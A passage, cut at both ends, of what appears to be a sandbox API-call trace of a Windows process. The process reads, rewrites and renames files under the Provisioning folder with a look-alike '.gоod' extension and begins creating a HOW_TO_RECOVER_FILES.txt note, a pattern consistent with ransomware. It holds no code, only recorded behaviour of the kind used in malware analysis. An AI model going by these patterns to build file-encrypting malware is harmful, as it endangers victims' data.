nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0109.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0109.086] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0109.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0109.132] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0109.132] GetFileType (hFile=0x7dc) returned 0x1 [0109.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0109.132] GetFileType (hFile=0x7dc) returned 0x1 [0109.132] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x10f [0109.132] ReadFile (in: hFile=0x7dc, lpBuffer=0x3442590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3442590*, lpNumberOfBytesRead=0x1f9edc08*=0x10f, lpOverlapped=0x0) returned 1 [0109.133] CloseHandle (hObject=0x7dc) returned 1 [0109.160] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0109.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0109.160] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0109.161] GetFileType (hFile=0x7dc) returned 0x1 [0109.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0109.161] GetFileType (hFile=0x7dc) returned 0x1 [0109.161] WriteFile (in: hFile=0x7dc, lpBuffer=0x34b9fe0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x34b9fe0*, lpNumberOfBytesWritten=0x1f9edb18*=0x110, lpOverlapped=0x0) returned 1 [0109.166] CloseHandle (hObject=0x7dc) returned 1 [0109.166] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0109.167] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0109.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0109.167] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3d48b8b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0109.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0109.167] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml.gоod")) returned 1 [0109.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0109.227] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpFilePart=0x0) returned 0x51 [0109.228] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.228] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.228] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0109.228] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0109.228] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.228] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0109.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0109.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0109.228] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpFilePart=0x0) returned 0x51 [0109.229] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.229] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.229] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0109.229] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0109.229] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0109.229] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0109.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0109.229] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0109.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0109.230] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x32e4cc0 | out: lpFileInformation=0x32e4cc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x243)) returned 1 [0109.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0109.230] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0109.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0109.230] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.230] GetFileType (hFile=0x7b4) returned 0x1 [0109.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0109.230] GetFileType (hFile=0x7b4) returned 0x1 [0109.230] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0x243 [0109.230] ReadFile (in: hFile=0x7b4, lpBuffer=0x32e5200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x32e5200*, lpNumberOfBytesRead=0x1f9ed1d8*=0x243, lpOverlapped=0x0) returned 1 [0109.231] CloseHandle (hObject=0x7b4) returned 1 [0109.258] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0109.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0109.258] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.259] GetFileType (hFile=0x7b4) returned 0x1 [0109.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0109.259] GetFileType (hFile=0x7b4) returned 0x1 [0109.260] WriteFile (in: hFile=0x7b4, lpBuffer=0x335d470*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x1f9ed0e8, lpOverlapped=0x0 | out: lpBuffer=0x335d470*, lpNumberOfBytesWritten=0x1f9ed0e8*=0x250, lpOverlapped=0x0) returned 1 [0109.261] CloseHandle (hObject=0x7b4) returned 1 [0109.261] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0109.261] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0109.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0109.261] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x250)) returned 1 [0109.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0109.261] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml.gоod")) returned 1 [0109.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0109.262] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0109.262] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.263] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.263] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0109.263] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.263] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0109.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0109.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0109.263] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0109.263] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.263] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.264] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0109.264] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0109.264] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0109.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0109.264] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0109.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0109.264] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: 